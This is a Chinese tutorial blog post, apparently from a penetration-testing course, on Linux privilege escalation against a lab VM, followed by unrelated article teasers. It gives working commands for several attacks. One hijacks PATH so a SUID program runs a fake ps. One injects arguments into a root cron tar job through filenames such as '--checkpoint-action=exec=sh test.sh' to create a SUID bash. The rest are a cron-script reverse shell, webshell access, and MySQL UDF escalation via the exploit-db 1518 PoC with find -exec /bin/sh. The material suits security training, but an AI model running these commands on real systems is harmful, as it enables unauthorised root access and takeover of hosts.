第104天: 权限提升-Linux 系统环境变量定时任务权限配置不当MDUT 自动化

news2024/12/24 2:37:55

目录

案例一:Linux-环境变量文件配合 SUID-本地

案例二:Linux-定时任务打包配合 SUID-本地

案例三:Linux-定时任务文件权限配置不当-WEB&本地

案例四:Linux-第三方软件 MYSQL 数据库提权-WEB&本地

隧道出网

手工提权


案例一:Linux-环境变量文件配合 SUID-本地

原理

 复现demo.c文件源代码

#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("ps");
}

demo.c文件进行编译生成shell文件

加上suid权限

 这个时候执行shell,就是利用root权限去执行ps命令

切换普通用户权限

进行提权操作,把bash命令复制到/tmp下

这个时候需要进行环境覆盖,让/tmp下的ps在/bin下之前执行。

export PATH=/tmp:$PATH

这个时候再运行./shell

实战应用

1.普通用户权限下先获取suid所有程序
2.去除系统自带的一些命令(筛选第三方程序)
3.对该程序进行反编译或者找源码 明白该程序的作用
4.思考该程序有无执行一些环境变量命令(ps ping su sudo 等 比如该shell程序执行了ps命令

5.尝试通过复制suid提权命令 复制替换原来的执行命令 (先添加环境变量 优先执行复制后的命令)

案例二:Linux-定时任务打包配合 SUID-本地

项目背景:运维为了防止数据丢失,会定时运行计划任务,把项目打包

tar zxf 1.tar.gz /var/www/*

这里首先先创建一个计划任务

backup.sh,记得加执行命令(去/tmp路径下,把tmp下的所有文件打包成backup.tar.gz)

cd /tmp;tar czf /tmp/backup.tar.gz *

 去/etc/crontab下写上一条

* * * * * root /tmp/backup.sh

自动打包

这个时候切换普通用户,写入这几条命令

echo "" > "--checkpoint-action=exec=sh test.sh"        

#将空文件写入--checkpoint-action=exec=sh test.sh中
echo "" > --checkpoint=1
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh  

#写入命令  chmod +s对可执行文件升级权限 赋予suid权限
chmod +x test.sh

再打包时因为文件名的原因,会自动进行命令拼接,解释:

tar czf /tmp/backup.tar.gz --checkpoint-action=exec=sh test.sh  #自动执行test.sh
tar czf /tmp/backup.tar.gz --checkpoint=1   #每处理512个字节执行一次命令

1分钟后出现了具有suid权限的bash

 然后运行该程序,这里我上一篇文章文章介绍了debian系统需要上-p参数才能够提权

实战应用

查看定时任务· 定时任务有没有可利用 (tar打包压缩等) 

案例三:Linux-定时任务文件权限配置不当-WEB&本地

在计划任务里面的backup.sh里面一般是没有修改文件的权限的

当加上修改权限的时候。就可以把里面的内容改成反弹shell的命令

 切换普通用户,修改文件内容

开启监听

反弹

案例四:Linux-第三方软件 MYSQL 数据库提权-WEB&本地

靶机下载地址:

链接:https://pan.baidu.com/s/1_ghJGJ3-bJZj1L4d6nlnYw?pwd=8e03
提取码:8e03

项目复现:https://zhuanlan.zhihu.com/p/270343652

nmap扫描

直接只展示mysql提权过程,菜刀连接

翻阅数据库的账号密码

利用哥斯拉建立连接尝试连接数据库

 nc反弹shell

进入mysql开启外联

外联命令

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'R@v3nSecurity' WITH GRANT OPTION;
flush privileges;

但是还是连接不上,原因是由于该靶机设置了防火墙设定

解决方法

手工提权(在webshell上面的数据库管理进行提权) 自己连自己
隧道出网(用外部或本机的工具项目提权 建立隧道)

隧道出网

利用刚才反弹的shell,进行木马编写,建立冰蝎连接(中间走了很多弯路,ip变了)

 用冰蝎建立连接

然后建立内网穿透

现在进行连接

连接成功

这个时候利用工具进行自动化提权

工具下载地址:GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization Tools

进行连接配置

直接进行提权

手工提权

可能用到的命令

下载mysql udf kali poc进行编译
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
上传或下载1518到目标服务器
wget https://xx.xx.xx.xx/1518.so
进入数据库进行UDF导出
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
创建do_system函数调用
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
#配合使用find调用执行
touch xiaodi
find xiaodi –exec "whoami" \;
find xiaodi –exec "/bin/sh" \;
id

下载源文件

编译并且重命名

python开启简易网站

下载

进行udf导出

创建do_system函数,并且给find命令加上suid权限

 退出进行提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1821215.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

将自己md文件发布到自己的博客园实现文件的持久化存储

上传markdown文件到博客园 目录 【0】需求原因【1】功能【2】环境【最佳实践测试】 &#xff08;1&#xff09;查看 Typora 设置&#xff08;2&#xff09;配置 pycnblog 配置文件 config.yaml&#xff08;3&#xff09;运行 pycnblog 中的文件 cnblog_markdown.cmd&#xff0…

基于文本和图片输入的3D数字人化身生成技术解析

随着虚拟现实、增强现实和元宇宙等技术的飞速发展,对高度逼真且具有表现力的3D数字人化身的需求日益增长。传统的3D数字人生成方法往往需要依赖大量的3D数据集,这不仅增加了数据收集和处理的成本,还限制了生成的多样性和灵活性。为了克服这些挑战,我们提出了一种基于文本提…

flask基础3-蓝图-cookie-钩函数-flask上下文-异常处理

目录 一&#xff1a;蓝图 1.蓝图介绍 2.使用步骤 3.蓝图中的静态资源和模板 二.cookie和session 1.cookie 2.flask中操作cookie 3.session 4.session操作步骤 三.请求钩子 四.flask上下文 1.介绍 2.请求上下文&#xff1a; 3.应用上下文 3.g对象 五&#xff1a;…

怕怕怕怕怕怕怕怕怕怕

欢迎关注博主 Mindtechnist 或加入【Linux C/C/Python社区】一起学习和分享Linux、C、C、Python、Matlab&#xff0c;机器人运动控制、多机器人协作&#xff0c;智能优化算法&#xff0c;滤波估计、多传感器信息融合&#xff0c;机器学习&#xff0c;人工智能等相关领域的知识和…

基于Pytorch实现AI写藏头诗

网上你找了一圈发现开源的代码不是付费订阅就是代码有问题,基于Pytorch实现AI写藏头诗看我这篇就够了。 用到的工具:华为云ModelArts平台的notebook/Pycharm/Vscode都行。 镜像:pytorch1.8-cuda10.2-cudnn7-ubuntu18.04,有GPU优先使用GPU资源。 实验背景 在短时测试使用场…

自动控制理论实验---IDFT和FFT算法的原理和MATLAB编程

1、实验设备 PC计算机1台&#xff0c;MATLAB软件1套。 2、实验目的 掌握IDFT&#xff08;逆离散傅里叶变换&#xff09;算法的原理和MATLAB编程方法。了解FFT&#xff08;快速傅里叶变换&#xff09;算法&#xff0c;并能够调用MATLAB的fft函数进行频域变换。验证IDFT程序的…

ChatGPT:自然语言处理的新纪元与OpenAI的深度融合

随着人工智能技术的蓬勃发展&#xff0c;自然语言处理&#xff08;NLP&#xff09;领域取得了显著的进步。OpenAI作为这一领域的领军者&#xff0c;以其卓越的技术实力和创新能力&#xff0c;不断推动着NLP领域向前发展。其中ChatGPT作为OpenAI的重要成果更是在全球范围内引起了…

Day01 数据结构概述

目录 一、数据结构概述 1、基本概念 2、数据结构 3、逻辑关系&#xff08;线性结构&非线性结构&#xff09; 4、物理结构&#xff08;存储结构&#xff09; 5、算法 6、算法特征 二、时空复杂度 1、时间复杂度 2、空间复杂度 3、结构类型 一、数据结构概述 1、…

【FPGA项目】bin文件ram存取回环测试

&#x1f389;欢迎来到FPGA专栏~bin文件ram存取回环测试 ☆* o(≧▽≦)o *☆嗨~我是小夏与酒&#x1f379; ✨博客主页&#xff1a;小夏与酒的博客 &#x1f388;该系列文章专栏&#xff1a;FPGA学习之旅 文章作者技术和水平有限&#xff0c;如果文中出现错误&#xff0c;希望大…

据说可以防静电和浪涌的P6KE30CA

公司有些变送器之前在最后一道校准时&#xff0c;经常发生烧毁的情况。所以在电路的防反接的M7二极管前面又增加了一个TVS二极管&#xff0c;型号P6KE30CA。但愿加了这个好使把。今天又研究了一下这个TVS管子&#xff0c;把搜索到的东西记录一下。放这里备忘把&#xff0c;忘记…

C语言| 把数组a赋给数组b

把数组a赋给数组b, 正确的写法是用for循环&#xff0c;将数组a中的元素一个一个赋给数组b的元素。 #include <stdio.h> int main(void) { int a[5] {11, 22, 33, 44, 55}; int b[5]; int i; for(i0; i<5; i) { b[i] a[i]; printf(…

Java开发工具的下载

Java开发工具的下载 IDEA概述 IDEA全称InteliJ IDEA&#xff0c;是用于Java语言开发的集成环境&#xff0c;它是业界公认的目前用于Java程序开发最 好的工具。 集成环境 把代码编写&#xff0c;编译&#xff0c;执行&#xff0c;调试等多种功能综合到一起的开发工具。 让我…

证照之星是一款很受欢迎的证件照制作软件

证照之星是一款很受欢迎的证件照制作软件&#xff0c;证照之星可以为用户提供“照片旋转、裁切、调色、背景处理”等功能&#xff0c;满足用户对证件照制作的基本需求。本站证照之星下载专题为大家提供了证照之星电脑版、安卓版、个人免费版等多个版本客户端资源&#xff0c;此…

IEC61850 调试工具 工程师必备

文章目录 IEC61850 调试工具 工程师必备主要功能软件截图 IEC61850 调试工具 工程师必备 下载地址&#xff1a;http://www.redisant.cn/iec61850client IEC 61850 是国际电工委员会&#xff08;IEC&#xff09;制定的一项国际标准&#xff0c;主要用于电力系统自动化领域&…

后端跨域问题的处理

问题描述 在做前后端分离的项目时&#xff0c;很有可能会遇到这样一种情况&#xff1a; 就是在游览器中请求后端的接口&#xff0c;出现了 CORS error 错误 报错信息如下&#xff1a; Access to XMLHttpRequest at http://localhost:8860/user/auth/login from origin http:…

常见的 EVM 版本以及它们的区别

EVM&#xff08;以太坊虚拟机&#xff09;版本的演进是为了引入新的特性和改进以太坊平台的安全性、效率和功能性。每个版本通常伴随着以太坊网络的硬分叉&#xff0c;这是以太坊协议的重大升级。以下是一些常见的EVM版本及其主要区别&#xff1a; Homestead (2016年3月)&…

图像生成新篇章:Stable Diffusion 3 Medium开源评析

摘要 在数字艺术与人工智能的交汇点上&#xff0c;Stable Diffusion 3&#xff08;SD3&#xff09;的开源无疑是一场技术革新的盛宴。就在3月份&#xff0c;我撰写了一篇博文&#xff0c;深入探讨了SD3的技术报告内容与介绍&#xff0c;文章发表在CSDN博客上&#xff0c;https:…

同城如何异地共享文件?

在现代社会中&#xff0c;跨地区的合作变得越来越普遍&#xff0c;而这也带来了共享文件的需求。当我们身处不同的城市&#xff0c;如何高效地共享文件已经成为一项迫切的需求。本文将介绍一种名为“同城异地共享文件”的解决方案&#xff0c;帮助解决这一问题。 2. 天联组网—…

Day02 顺序表

目录 1、顺序表 2、随机访问&顺序访问 3、思考 4、顺序表的封装 1、顺序表 数组在数据结构中是属于线性表的一种&#xff0c;线性表是由一组具有n个相同类型的数据元素组成的。线性表中的任何一个数据元素 有且只有一个直接前驱有且只有一个直接后继首元素是没有前驱的…

学习Java中的Future类

学习Java中的Future类 Future接口在Java 5中引入&#xff0c;作为java.util.concurrent包的一部分。它代表一个异步计算的结果&#xff0c;当计算完成时可以通过Future对象获取结果。Future对象提供了一些方法来检查任务是否完成、等待任务完成并获取任务结果、取消任务等。 …